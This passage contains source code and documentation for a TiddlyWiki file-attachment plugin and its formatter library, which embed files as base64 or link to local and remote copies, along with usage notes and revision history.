this.form.MIMEType.selectedIndex=this.checked?1:0; "> \
</td><td style="border:0">\
<select size=1 name="MIMEType" \
onchange="this.title=this.value; if (this.value==\'editlist\')\
{ this.selectedIndex=this.form.useData.checked?1:0; story.displayTiddler(null,config.macros.attach.typeList,2); return; }">\
<option value=""></option>\
%types%\
</select>\
</td></tr><tr style="border:0"><td style="border:0;text-align:right;width:1%;white-space:nowrap">\
local link <input type=checkbox class=chk name="useLocal"\
onclick="this.form.local.value=this.form.local.defaultValue=this.checked?config.macros.attach.localPrompt:\'\';"> \
</td><td style="border:0">\
<input type=text name="local" size=15 autocomplete=off value=""\
onchange="this.form.useLocal.checked=this.value.length" \
onkeyup="this.form.useLocal.checked=this.value.length" \
onfocus="if (!this.value.length) this.value=config.macros.attach.localPrompt; this.select()">\
</td></tr><tr style="border:0"><td style="border:0;text-align:right;width:1%;white-space:nowrap">\
remote link <input type=checkbox class=chk name="useURL"\
onclick="this.form.URL.value=this.form.URL.defaultValue=this.checked?config.macros.attach.URLPrompt:\'\';\"> \
</td><td style="border:0">\
<input type=text name="URL" size=15 autocomplete=off value=""\
onfocus="if (!this.value.length) this.value=config.macros.attach.URLPrompt; this.select()"\
onchange="this.form.useURL.checked=this.value.length;"\
onkeyup="this.form.useURL.checked=this.value.length;">\
</td></tr></table>\
</div>\
<table style="border:0"><tr style="border:0"><td style="border:0;text-align:right;width:1%;white-space:nowrap">\
attach as \
</td><td style="border:0" colspan=2>\
<input type=text name="tiddlertitle" size=15 autocomplete=off value="%title%"\
onkeyup="if (!this.value.length) { this.value=config.macros.attach.titlePrompt; this.select(); }"\
onfocus="if (!this.value.length) this.value=config.macros.attach.titlePrompt; this.select()" %disabled%>\
</td></tr><tr style="border:0"><td style="border:0;text-align:right;width:1%;white-space:nowrap">\
description \
</td><td style="border:0" colspan=2>\
<input type=text name="notes" size=15 autocomplete=off>\
</td></tr><tr style="border:0"><td style="border:0;text-align:right;width:1%;white-space:nowrap">\
add tags \
</td><td style="border:0">\
<input type=text name="tags" size=15 autocomplete=off value="" onfocus="this.select()">\
</td><td style="width:40%;text-align:right;border:0">\
<input type=button class=btn2 value="attach"\
onclick="config.macros.attach.onClickAttach(this)"><!--\
--><input type=button class=btn2 value="close"\
onclick="var panel=document.getElementById(\'%id%\'); if (panel) panel.parentNode.removeChild(panel);">\
</td></tr></table>\
</form>',
//}}}
// // control processing
//{{{
onChangeSource:
function(here) {
var form=here.form;
var list=form.MIMEType;
var theFilename = here.value;
var theExtension = theFilename.substr(theFilename.lastIndexOf('.')).toLowerCase();
// if theFilename is in current document folder, remove path prefix and use relative reference
var h=document.location.href; folder=getLocalPath(decodeURIComponent(h.substr(0,h.lastIndexOf("/")+1)));
if (theFilename.substr(0,folder.length)==folder) theFilename='./'+theFilename.substr(folder.length);
else theFilename='file:///'+theFilename; // otherwise, use absolute reference
theFilename=theFilename.replace(/\\/g,"/"); // fixup: change \ to /
form.useLocal.checked = true;
form.local.value = theFilename;
form.useData.checked = !form.useData.disabled;
list.selectedIndex=1;
for (var i=0; i<list.options.length; i++) // find matching MIME type
if (list.options[i].value.indexOf(theExtension)!=-1) { list.selectedIndex = i; break; }
if (!form.tiddlertitle.disabled)
form.tiddlertitle.value=theFilename.substr(theFilename.lastIndexOf('/')+1); // get tiddlername from filename
},
//}}}
//{{{
onClickAttach:
function (here) {
clearMessage();
// get input values
var form=here.form;
var src=form.source; if (config.browser.isGecko) src=document.getElementById("attachFixSource");
var theDate=(new Date()).formatString(config.macros.timeline.dateFormat);
var theSource = src.value!=src.defaultValue?src.value:"";
var theTitle=form.tiddlertitle.value;
var theLocal = form.local.value!=form.local.defaultValue?form.local.value:"";
var theURL = form.URL.value!=form.URL.defaultValue?form.URL.value:"";
var theNotes = form.notes.value;
var theTags = "attachment excludeMissing "+form.tags.value;
var useData=form.useData.checked;
var useLocal=form.useLocal.checked;
var useURL=form.useURL.checked;
var theMIMEType = form.MIMEType.value.length?form.MIMEType.options[form.MIMEType.selectedIndex].text:"";
// validate checkboxes and get filename
if (useData) {
if (theSource.length) { if (!theLocation) var theLocation=theSource; }
else { alert(this.sourceErr); src.focus(); return false; }
}
if (useLocal) {
if (theLocal.length) { if (!theLocation) var theLocation = theLocal; }
else { alert(this.localErr); form.local.focus(); return false; }
}
if (useURL) {
if (theURL.length) { if (!theLocation) var theLocation = theURL; }
else { alert(this.URLErr); form.URL.focus(); return false; }
}
if (!(useData||useLocal||useURL))
{ form.useData.focus(); alert(this.storageErr); return false; }
if (!theLocation)
{ src.focus(); alert(this.sourceErr); return false; }
if (!theTitle || !theTitle.trim().length || theTitle==this.titlePrompt)
{ form.tiddlertitle.focus(); alert(this.tiddlerErr); return false; }
// if not already selected, determine MIME type based on filename extension (if any)
if (useData && !theMIMEType.length && theLocation.lastIndexOf('.')!=-1) {
var theExt = theLocation.substr(theLocation.lastIndexOf('.')).toLowerCase();
var theList=form.MIMEType;
for (var i=0; i<theList.options.length; i++)
if (theList.options[i].value.indexOf(theExt)!=-1)
{ var theMIMEType=theList.options[i].text; theList.selectedIndex=i; break; }
}
// attach the file
return this.createAttachmentTiddler(theSource, theDate, theNotes, theTags, theTitle,
useData, useLocal, useURL, theLocal, theURL, theMIMEType);
},
getMIMEType:
function(src,def) {
var ext = src.substr(src.lastIndexOf('.')).toLowerCase();
var list=store.getTiddlerText(this.typeList);
if (!list || !list.trim().length) return def;
// get MIME list content from tiddler
var parts=list.split("\n----\n");
for (var p=0; p<parts.length; p++) {
var lines=parts[p].split("\n");
var mime=lines.shift(); // 1st line=MIME type
var match=lines.shift(); // 2nd line=matching extensions
if (match.indexOf(ext)!=-1) return mime;
}
return def;
},
createAttachmentTiddler:
function (theSource, theDate, theNotes, theTags, theTitle,
useData, useLocal, useURL, theLocal, theURL, theMIMEType, noshow) {
// encode the data
if (useData) {
if (!theMIMEType.length) {
alert(this.MIMEErr);
form.MIMEType.selectedIndex=1; form.MIMEType.focus();
return false;
}
var theData = this.readFile(theSource); if (!theData) { return false; }
displayMessage('encoding '+theSource);
var theEncoded = this.encodeBase64(theData);
displayMessage('file size='+theData.length+' bytes, encoded size='+theEncoded.length+' bytes');
}
// generate tiddler and refresh
var theText = "";
theText +=theSource.length?this.sourceReport.format([theSource]):this.nosourceReport;
theText +=this.dateReport.format([theDate,config.options.txtUserName]);
theText +=theNotes.length?this.notesReport.format([theNotes]):"";
theText +=useData?this.dataReport.format([theTitle,theMIMEType,theData.length,theEncoded.length]):this.nodataReport;
theText +=useLocal?this.localReport.format([theLocal,theLocal.replace(/\\/g,"/")]):this.nolocalReport;
theText +=useURL?this.URLReport.format([theURL]):this.noURLReport;
theText +=(theMIMEType.substr(0,5)=="image")?this.imageReport.format([theTitle]):"";
theText +=useData?this.dataBlock.format([theMIMEType,theEncoded]):"";
store.saveTiddler(theTitle,theTitle,theText,config.options.txtUserName,new Date(),theTags);
var panel=document.getElementById("attachPanel"); if (panel) panel.style.display="none";
if (!noshow) { story.displayTiddler(null,theTitle); story.refreshTiddler(theTitle,null,true); }
displayMessage('attached "'+theTitle+'"');
return true;
},
//}}}
// // base64 conversion
//{{{
encodeBase64:
function (theData) {
if (!theData) return null;
// encode as base64
var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var out="";
var chr1,chr2,chr3="";
var enc1,enc2,enc3,enc4="";
for (var count=0,i=0; i<theData.length; ) {
chr1=theData.charCodeAt(i++);
chr2=theData.charCodeAt(i++);
chr3=theData.charCodeAt(i++);
enc1=chr1 >> 2;
enc2=((chr1 & 3) << 4) | (chr2 >> 4);
enc3=((chr2 & 15) << 2) | (chr3 >> 6);
enc4=chr3 & 63;
if (isNaN(chr2)) enc3=enc4=64;
else if (isNaN(chr3)) enc4=64;
out+=keyStr.charAt(enc1)+keyStr.charAt(enc2)+keyStr.charAt(enc3)+keyStr.charAt(enc4);
chr1=chr2=chr3=enc1=enc2=enc3=enc4="";
count+=4; if (count>60) { out+='\n'; count=0; } // add line break every 60 chars for readability
}
return out;
},
decodeBase64: function(input) {
var out="";
var chr1,chr2,chr3;
var enc1,enc2,enc3,enc4;
var i = 0;
// remove all characters that are not A-Z, a-z, 0-9, +, /, or =
input=input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
do {
enc1=keyStr.indexOf(input.charAt(i++));
enc2=keyStr.indexOf(input.charAt(i++));
enc3=keyStr.indexOf(input.charAt(i++));
enc4=keyStr.indexOf(input.charAt(i++));
chr1=(enc1 << 2) | (enc2 >> 4);
chr2=((enc2 & 15) << 4) | (enc3 >> 2);
chr3=((enc3 & 3) << 6) | enc4;
out=out+String.fromCharCode(chr1);
if (enc3!=64) out=out+String.fromCharCode(chr2);
if (enc4!=64) out=out+String.fromCharCode(chr3);
} while (i<input.length);
return out;
},
//}}}
// // I/O functions
//{{{
readFile: // read local BINARY file data
function(filePath) {
if(!window.Components) { return null; }
try { netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); }
catch(e) { alert("access denied: "+filePath); return null; }
var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
try { file.initWithPath(filePath); } catch(e) { alert("cannot read file - invalid path: "+filePath); return null; }
if (!file.exists()) { alert("cannot read file - not found: "+filePath); return null; }
var inputStream = Components.classes["@mozilla.org/network/file-input-stream;1"].createInstance(Components.interfaces.nsIFileInputStream);
inputStream.init(file, 0x01, 00004, null);
var bInputStream = Components.classes["@mozilla.org/binaryinputstream;1"].createInstance(Components.interfaces.nsIBinaryInputStream);
bInputStream.setInputStream(inputStream);
return(bInputStream.readBytes(inputStream.available()));
},
//}}}
//{{{
writeFile:
function(filepath,data) {
// TBD: decode base64 and write BINARY data to specified local path/filename
return(false);
},
//}}}
//{{{
askForFilename: // for FF3 fixup
function(target) {
var msg=config.messages.selectFile;
if (target && target.title) msg=target.title; // use target field tooltip (if any) as dialog prompt text
// get local path for current document
var path=getLocalPath(document.location.href);
var p=path.lastIndexOf("/"); if (p==-1) p=path.lastIndexOf("\\"); // Unix or Windows
if (p!=-1) path=path.substr(0,p+1); // remove filename, leave trailing slash
var file=""
var result=window.mozAskForFilename(msg,path,file,true); // FF3 FIXUP ONLY
if (target && result.length) // set target field and trigger handling
{ target.value=result; target.onchange(); }
return result;
}
};
//}}}
//{{{
if (window.mozAskForFilename===undefined) { // also defined by CoreTweaks (for ticket #604)
window.mozAskForFilename=function(msg,path,file,mustExist) {
if(!window.Components) return false;
try {
netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
var nsIFilePicker = window.Components.interfaces.nsIFilePicker;
var picker = Components.classes['@mozilla.org/filepicker;1'].createInstance(nsIFilePicker);
picker.init(window, msg, mustExist?nsIFilePicker.modeOpen:nsIFilePicker.modeSave);
var thispath = Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);
thispath.initWithPath(path);
picker.displayDirectory=thispath;
picker.defaultExtension='';
picker.defaultString=file;
picker.appendFilters(nsIFilePicker.filterAll|nsIFilePicker.filterText|nsIFilePicker.filterHTML);
if (picker.show()!=nsIFilePicker.returnCancel)
var result=picker.file.persistentDescriptor;
}
catch(ex) { displayMessage(ex.toString()); }
return result;
}
}
//}}}
/***
|Name|AttachFilePluginFormatters|
|Source|http://www.TiddlyTools.com/#AttachFilePluginFormatters|
|Version|3.7.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides|'image' and 'prettyLink' formatters, TiddlyWiki.prototype.getRecursiveTiddlerText|
|Description|run-time library for displaying attachment tiddlers|
This plugin provides "stand-alone" processing for //rendering// attachment tiddlers created by [[AttachFilePlugin]]. Attachment tiddlers are tagged with<<tag attachment>>and contain binary file content (e.g., jpg, gif, pdf, mp3, etc.) that has been stored directly as base64 text-encoded data or can be loaded from external files stored on a local filesystem or remote web server.
NOTE: This plugin does not include the "control panel" and supporting functions needed to //create// new attachment tiddlers. Those features are provided by [[AttachFilePlugin]], which can be installed while building your document, and then safely omitted to reduce the overall file size when you publish your finished document (assuming you don't intend to create any additional attachment tiddlers in that document)
!!!!!Formatters
<<<
This plugin extends the behavior of the following TiddlyWiki core "wikify()" formatters:
* embedded images: {{{[img[tooltip|image]]}}}
* linked embedded images: {{{[img[tooltip|image][link]]}}}
* external/"pretty" links: {{{[[label|link]]}}}
''Please refer to AttachFilePlugin (source: http://www.TiddlyTools.com/#AttachFilePlugin) for additional information.''
<<<
!!!!!Revisions
<<<
2007.12.04 [*.*.*] update for TW2.3.0: replaced deprecated core functions, regexps, and macros
2007.10.29 [3.7.0] more code reduction: removed upload handling from AttachFilePlugin (saves ~7K!)
2007.10.28 [3.6.0] removed duplicate formatter code from AttachFilePlugin (saves ~10K!) and updated documentation accordingly. This plugin ([[AttachFilePluginFormatters]]) is now //''required''// in order to display attached images/binary files within tiddler content.
2006.05.20 [3.4.0] through 2007.03.01 [3.5.3] sync with AttachFilePlugin
2006.05.13 [3.2.0] created from AttachFilePlugin v3.2.0
<<<
!!!!!Code
***/
// // version
//{{{
version.extensions.AttachFilePluginFormatters= {major: 3, minor: 7, revision: 0, date: new Date(2007,10,28)};
//}}}
//{{{
if (config.macros.attach==undefined) config.macros.attach= { };
//}}}
//{{{
if (config.macros.attach.isAttachment==undefined) config.macros.attach.isAttachment=function (title) {
var tiddler = store.getTiddler(title);
if (tiddler==undefined || tiddler.tags==undefined) return false;
return (tiddler.tags.indexOf("attachment")!=-1);
}
//}}}
//{{{
// test for local file existence
// Returns true/false without visible error display
// Uses Components for FF and ActiveX FSO object for MSIE
if (config.macros.attach.fileExists==undefined) config.macros.attach.fileExists=function(theFile) {
var found=false;
// DEBUG: alert('testing fileExists('+theFile+')...');
if(window.Components) {
try { netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); }
catch(e) { return false; } // security access denied
var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
try { file.initWithPath(theFile); }
catch(e) { return false; } // invalid directory
found = file.exists();
}
else { // use ActiveX FSO object for MSIE
var fso = new ActiveXObject("Scripting.FileSystemObject");
found = fso.FileExists(theFile)
}
// DEBUG: alert(theFile+" "+(found?"exists":"not found"));
return found;
}
//}}}
//{{{
if (config.macros.attach.getAttachment==undefined) config.macros.attach.getAttachment=function(title) {
// extract embedded data, local and remote links (if any)
var startmarker="---BEGIN_DATA---\n";
var endmarker="\n---END_DATA---";
var pos=0; var endpos=0;
var text = store.getTiddlerText(title);
var embedded="";
var locallink="";
var remotelink="";
// look for embedded data, convert to data: URI
if ((pos=text.indexOf(startmarker))!=-1 && (endpos=text.indexOf(endmarker))!=-1)
embedded="data:"+(text.substring(pos+startmarker.length,endpos)).replace(/\n/g,'');
if (embedded.length && !config.browser.isIE)
return embedded; // use embedded data if any... except for IE, which doesn't support data URI
// no embedded data... fallback to local/remote reference links...
// look for 'attachment link markers'
if ((pos=text.indexOf("/%LOCAL_LINK%/"))!=-1)
locallink=text.substring(text.indexOf("|",pos)+1,text.indexOf("]]",pos));
if ((pos=text.indexOf("/%REMOTE_LINK%/"))!=-1)
remotelink=text.substring(text.indexOf("|",pos)+1,text.indexOf("]]",pos));
// document is being served remotely... use remote URL (if any) (avoids security alert)
if (remotelink.length && document.location.protocol!="file:")
return remotelink;
// local link only... return link without checking file existence (avoids security alert)
if (locallink.length && !remotelink.length)
return locallink;
// local link, check for file exist... use local link if found
if (locallink.length) {
if (this.fileExists(getLocalPath(locallink))) return locallink;
// maybe local link is relative... add path from current document and try again
var pathPrefix=document.location.href; // get current document path and trim off filename
var slashpos=pathPrefix.lastIndexOf("/"); if (slashpos==-1) slashpos=pathPrefix.lastIndexOf("\\");
if (slashpos!=-1 && slashpos!=pathPrefix.length-1) pathPrefix=pathPrefix.substr(0,slashpos+1);
if (this.fileExists(getLocalPath(pathPrefix+locallink))) return locallink;
}
// no embedded data, no local (or not found), fallback to remote URL (if any)
if (remotelink.length)
return remotelink;
return ""; // attachment URL doesn't resolve
}
//}}}
//{{{
if (config.macros.attach.init_formatters==undefined) config.macros.attach.init_formatters=function() {
if (this.initialized) return;
// find the formatter for "image" and replace the handler
for (var i=0; i<config.formatters.length && config.formatters[i].name!="image"; i++);
if (i<config.formatters.length) config.formatters[i].handler=function(w) {
if (!this.lookaheadRegExp) // fixup for TW2.0.x
this.lookaheadRegExp = new RegExp(this.lookahead,"mg");
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source)
if(lookaheadMatch && lookaheadMatch.index == w.matchStart) // Simple bracketted link
{
var e = w.output;
if(lookaheadMatch[5])
{
var link = lookaheadMatch[5];
// ELS -------------
if (!config.formatterHelpers.isExternalLink) // fixup for TW2.0.x
var external=!store.tiddlerExists(link)&&!store.isShadowTiddler(link);
else
var external=config.formatterHelpers.isExternalLink(link);
if (external)
{
if (config.macros.attach.isAttachment(link))
{
e = createExternalLink(w.output,link);
e.href=config.macros.attach.getAttachment(link);
e.title = config.macros.attach.linkTooltip + link;
}
else
e = createExternalLink(w.output,link);
}
else
e = createTiddlyLink(w.output,link,false,null,w.isStatic);
// ELS -------------
addClass(e,"imageLink");
}
var img = createTiddlyElement(e,"img");
if(lookaheadMatch[1])
img.align = "left";
else if(lookaheadMatch[2])
img.align = "right";
if(lookaheadMatch[3])
img.title = lookaheadMatch[3];
img.src = lookaheadMatch[4];
// ELS -------------
if (config.macros.attach.isAttachment(lookaheadMatch[4]))
img.src=config.macros.attach.getAttachment(lookaheadMatch[4]);
// ELS -------------
w.nextMatch = this.lookaheadRegExp.lastIndex;
}
}
//}}}
//{{{
// find the formatter for "prettyLink" and replace the handler
for (var i=0; i<config.formatters.length && config.formatters[i].name!="prettyLink"; i++);
if (i<config.formatters.length) {
var v=version.major+.1*version.minor+.01*version.revision;
if (v>=2.13) {
config.formatters[i].handler=function(w)
{
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
if(lookaheadMatch && lookaheadMatch.index == w.matchStart)
{
var e;
var text = lookaheadMatch[1];
if(lookaheadMatch[3])
{
// Pretty bracketted link
var link = lookaheadMatch[3];
if (config.macros.attach.isAttachment(link))
{
e = createExternalLink(w.output,link);
e.href=config.macros.attach.getAttachment(link);
e.title=config.macros.attach.linkTooltip+link;
}
else e = (!lookaheadMatch[2] && config.formatterHelpers.isExternalLink(link))
? createExternalLink(w.output,link)
: createTiddlyLink(w.output,link,false,null,w.isStatic);
}
else
{
e = createTiddlyLink(w.output,text,false,null,w.isStatic);
}
createTiddlyText(e,text);
w.nextMatch = this.lookaheadRegExp.lastIndex;
}
}
} else { // FALLBACK for TW2.1.2 and earlier
config.formatters[i].handler=function(w)
{
if (!this.lookaheadRegExp) // fixup for TW2.0.x
this.lookaheadRegExp = new RegExp(this.lookahead,"mg");
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source)
if(lookaheadMatch && lookaheadMatch.index == w.matchStart)
{
var e;
var text = lookaheadMatch[1];
if (lookaheadMatch[2]) // Simple bracketted link
{
e = createTiddlyLink(w.output,text,false,null,w.isStatic);
}
else if(lookaheadMatch[3]) // Pretty bracketted link
{
var link = lookaheadMatch[4];
// ELS -------------
if (!config.formatterHelpers.isExternalLink) // fixup for TW2.0.x
var external=!store.tiddlerExists(link)&&!store.isShadowTiddler(link);
else
var external=config.formatterHelpers.isExternalLink(link);
if (external)
{
if (config.macros.attach.isAttachment(link))
{
e = createExternalLink(w.output,link);
e.href=config.macros.attach.getAttachment(link);
e.title = config.macros.attach.linkTooltip + link;
}
else
e = createExternalLink(w.output,link);
}
else
e = createTiddlyLink(w.output,link,false,null,w.isStatic);
// ELS -------------
}
createTiddlyText(e,text);
w.nextMatch = this.lookaheadRegExp.lastIndex;
}
}
} // END FALLBACK
} // if "prettyLink" formatter found
this.initialized=true;
}
//}}}
//{{{
config.macros.attach.init_formatters(); // load time init
//}}}
//{{{
if (TiddlyWiki.prototype.coreGetRecursiveTiddlerText==undefined) {
TiddlyWiki.prototype.coreGetRecursiveTiddlerText = TiddlyWiki.prototype.getRecursiveTiddlerText;
TiddlyWiki.prototype.getRecursiveTiddlerText = function(title,defaultText,depth) {
return config.macros.attach.isAttachment(title)?
config.macros.attach.getAttachment(title):this.coreGetRecursiveTiddlerText.apply(this,arguments);
}
}
//}}}
/***
|Name|AttachFilePluginInfo|
|Source|http://www.TiddlyTools.com/#AttachFilePlugin|
|Documentation|http://www.TiddlyTools.com/#AttachFilePluginInfo|
|Version|4.0.0|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides||
|Description|Documentation for AttachFilePlugin|
Store or link binary files (such as jpg, gif, pdf or even mp3) within your TiddlyWiki document and then use them as images or links from within your tiddler content.
!!!!!Inline interface (live)
>see [[AttachFile]] (shadow tiddler)
><<tiddler AttachFile>>
!!!!!Syntax
<<<
''To display the attach file control panel, simply view the [[AttachFile]] shadow tiddler that is automatically created by the plugin, and contains an instance of the inline control panel.''. Or, you can write:
{{{
<<attach inline>>
}}}
in any tiddler to display the control panel embedded within that tiddler. Note: you can actually use any unique identifier in place of the "inline" keyword. Each unique id creates a separate instance of the controls. If the same ID is used in more than one tiddler, then the control panel is automatically moved to the most recently rendered location. Or, you can write:
{{{
<<attach>>
}}}
(with no ID parameter) in SidebarOptions. This adds a command link that opens the controls as a floating panel, positioned directly to the left of the sidebar.
<<<
!!!!!Usage
<<<
Binary file content can be stored in three different locations:
#embedded in the attachment tiddler (encoded as base64)
#on your filesystem (a 'local link' path/filename)
#on a web server (a 'remote link' URL)
The plugin creates an "attachment tiddler" for each file you attach. Regardless of where you store the binary content, your document can refer to the attachment tiddler rather than using a direct file or URL reference in your embedded image or external links, so that changing document locations will not require updating numerous tiddlers or copying files from one system to another.
> Important note: As of version 3.6.0, in order to //render// images and other binary attachments created with this plugin, you must also install [[AttachFilePluginFormatters]], which extends the behavior of the TiddlyWiki core formatters for embedded images ({{{[img[tooltip|image]]}}}), linked embedded images ({{{[img[tooltip|image][link]]}}}), and external/"pretty" links ({{{[[label|link]]}}}), so that these formatter will process references to attachment tiddlers as if a normal file reference had been provided. |
When you attach a file, a tiddler (tagged with<<tag attachment>>) is generated (using the source filename as the tiddler's title). The tiddler contains //''base64 text-encoded binary data''//, surrounded by {{{/%...%/}}} comment markers (so they are not visible when viewing the tiddler). The tiddler also includes summary details about the file: when it was attached, by whom, etc. and, if the attachment is an image file (jpg, gif, or png), the image is automatically displayed below the summary information.
>Note: although you can edit an attachment tiddler, ''don't change any of the encoded content below the attachment header'', as it has been prepared for use in the rest of your document, and even changing a single character can make the attachment unusable. //If needed, you ''can'' edit the header information or even the MIME type declaration in the attachment data, but be very careful not to change any of the base64-encoded binary data.//
With embedded data, your TW document can be completely self-contained...unfortunately, embedding just a few moderately-sized binary files using base64 text-encoding can dramatically increase the size of your document. To avoid this problem, you can create attachment tiddlers that define external local filesystem (file://) and/or remote web server (http://) 'reference' links, without embedding the binary data directly in the tiddler (i.e., uncheck "embed data" in the 'control panel').
These links provide an alternative source for the binary data: if embedded data is not found (or you are running on Internet Explorer, which does not currently support using embedded data), then the plugin tries the local filesystem reference. If a local file is not found, then the remote reference (if any) is used. This "fallback" approach also lets you 'virtualize' the external links in your document, so that you can access very large binary content such as PDFs, MP3's, and even *video* files, by using just a 'remote reference link' without embedding any data or downloading huge files to your hard disk.
Of course, when you //do// download an attached file, the local copy will be used instead of accessing a remote server each time, thereby saving bandwidth and allowing you to 'go mobile' without having to edit any tiddlers to alter the link locations...
<<<
!!!!!Syntax / Examples
<<<
To embed attached files as images or link to them from other tiddlers, use the standard ~TiddlyWiki image syntax ({{{[img[tooltip|filename]]}}}), linked image syntax ({{{[img[tooltip|filename][tiddlername]]}}}) , or "external link" syntax ({{{[[text|URL]]}}}), replacing the filename or URL that is normally entered with the title of an attachment tiddler.
embedded image data:
>{{{[img[Meow|AttachFileSample]]}}}
>[img[Meow|AttachFileSample]]
embedded image data with link to larger remote image:
>{{{[img[click for larger view|AttachFileSample][AttachFileSample2]]}}}
>[img[click for larger view|AttachFileSample][AttachFileSample2]]
'external' link to embedded image data:
>{{{[[click to view attachment|AttachFileSample]]}}}
>[[click to view attachment|AttachFileSample]]
'external' link to remote image:
>{{{[[click to view attachment|AttachFileSample2]]}}}
>[[click to view attachment|AttachFileSample2]]
regular ~TiddlyWiki links to attachment tiddlers:
>{{{[[AttachFileSample]]}}} [[AttachFileSample]]
>{{{[[AttachFileSample2]]}}} [[AttachFileSample2]]
<<<
!!!!!Defining MIME types
<<<
When you select a source file, a ''[[MIME|http://en.wikipedia.org/wiki/MIME]]'' file type is automatically suggested, based on filename extension. The AttachFileMIMETypes tiddler defines the list of MIME types that will be recognized by the plugin. Each MIME type definition consists of exactly two lines of text: the official MIME type designator (e.g., "text/plain", "image/gif", etc.), and a space-separated list of file extensions associated with that type. List entries are separated by "----" (horizontal rules).
<<<
!!!!!Known Limitations
<<<
Internet Explorer does not support the data: URI scheme, and cannot use the //embedded// data to render images or links. However, you can still use the local/remote link definitions to create file attachments that are stored externally. In addition, while it is relatively easy to read local //text// files, reading binary files is not directly supported by IE's FileSystemObject (FSO) methods, and other file I/O techniques are subject to security barriers or require additional MS proprietary technologies (like ASP or VB) that make implementation more difficult. As a result, you cannot //create// new attachment tiddlers using IE.
<<<
!!!!!Installation
<<<
Import (or copy/paste) the following tiddlers into your document:
* [[AttachFilePlugin]] (tagged with <<tag systemConfig>>)
* [[AttachFilePluginFormatters]] ("runtime distribution library") (tagged with <<tag systemConfig>>)
* [[AttachFileSample]] and [[AttachFileSample2]] //(tagged with <<tag attachment>>)//
* [[AttachFileMIMETypes]] //(defines binary file types)//
> Important note: As of version 3.6.0, in order to //render// images and other binary attachments created with this plugin, you must also install [[AttachFilePluginFormatters]], which extends the behavior of the TiddlyWiki core formatters for embedded images ({{{[img[tooltip|image]]}}}), linked embedded images ({{{[img[tooltip|image][link]]}}}), and external/"pretty" links ({{{[[label|link]]}}}), so that these formatter will process references to attachment tiddlers as if a normal file reference had been provided. |
<<<
!!!!!Revisions
<<<
2009.06.04 [4.0.0] changed attachment storage format to use //sections// instead of embedded substring markers.
2008.07.21 [3.9.0] Fixup for FireFox 3: use HTML with separate text+button control instead of type='file' control
2008.05.12 [3.8.1] automatically add 'attach' task to backstage (moved from BackstageTweaks)
2008.04.09 [3.8.0] in onChangeSource(), if source matches current document folder, use relative reference for local link. Also, disable 'embed' when using IE (which //still// doesn't support data: URI)
2008.04.07 [3.7.3] fixed typo in HTML for 'local file link' so that clicking in input field doesn't erase current path/file (if any)
2008.04.07 [3.7.2] auto-create AttachFile shadow tiddler for inline interface
2008.01.08 [*.*.*] plugin size reduction: documentation moved to ...Info
2007.12.04 [*.*.*] update for TW2.3.0: replaced deprecated core functions, regexps, and macros
2007.12.03 [3.7.1] in createAttachmentTiddler(), added optional "noshow" flag to suppress display of newly created tiddlers.
2007.10.29 [3.7.0] code reduction: removed support for built-in upload to server... on-line hosting of binary attachments is left to the document author, who can upload/host files using 3rd-party web-based services (e.g. www.flickr.com, ) or stand-alone applications (e.g., FTP).
2007.10.28 [3.6.0] code reduction: removed duplicate definition of image and prettyLink formatters. Rendering of attachment tiddlers now //requires// installation of AttachFilePluginFormatters
2007.03.01 [3.5.3] use apply() to invoke hijacked function
2007.02.25 [3.5.2] in hijack of "prettyLink", fix version check for TW2.2 compatibility (prevent incorrect use of fallback handler)
2007.01.09 [3.5.1] onClickAttach() refactored to create separate createAttachmentTiddler() API for use with FileDropPluginHandlers
2006.11.30 [3.5.0] in getAttachment(), for local references, add check for file existence and fallback to remote URL if local file not found. Added fileExists() to encapsulate FF vs. IE local file test function (IE FSO object code is TBD).
2006.11.29 [3.4.8] in hijack for PrettyLink, 'simple bracketed link' opens tiddler instead of external link to attachment
2006.11.29 [3.4.7] in readFile(), added try..catch around initWithPath() to handle invalid/non-existent paths better.
2006.11.09 [3.4.6] REAL FIX for TWv2.1.3: incorporate new TW2.1.3 core "prettyLink" formatter regexp handling logic and check for version < 2.1.3 with fallback to old plugin code. Also, cleanup table layout in HTML (added "border:0" directly to table elements to override stylesheet)
2006.11.08 [3.4.5] TEMPORARY FIX for TWv2.1.3: disable hijack of wikiLink formatter due to changes in core wikiLink regexp definition. //Links to attachments are broken, but you can still use {{{[img[TiddlerName]]}}} to render attachments as images, as well as {{{background:url('[[TiddlerName]]')}}} in CSS declarations for background images.//
2006.09.10 [3.4.4] update formatters for 2.1 compatibility (use this.lookaheadRegExp instead of temp variable)
2006.07.24 [3.4.3] in prettyLink formatter, added check for isShadowTiddler() to fix problem where shadow links became external links.
2006.07.13 [3.4.2] in getAttachment(), fixed stripping of newlines so data: used in CSS will work
2006.05.21 [3.4.1] in getAttachment(), fixed substring() to extract data: URI (was losing last character, which broken rendering of SOME images)
2006.05.20 [3.4.0] hijack core getRecursiveTiddlerText() to support rendering attachments in stylesheets (e.g. {{{url([[AttachFileSample]])}}})
2006.05.20 [3.3.6] add "description" feature to easily include notes in attachment tiddler (you can always edit to add them later... but...)
2006.05.19 [3.3.5] add "attach as" feature to change default name for attachment tiddlers. Also, new optional param to specify tiddler name (disables editing)
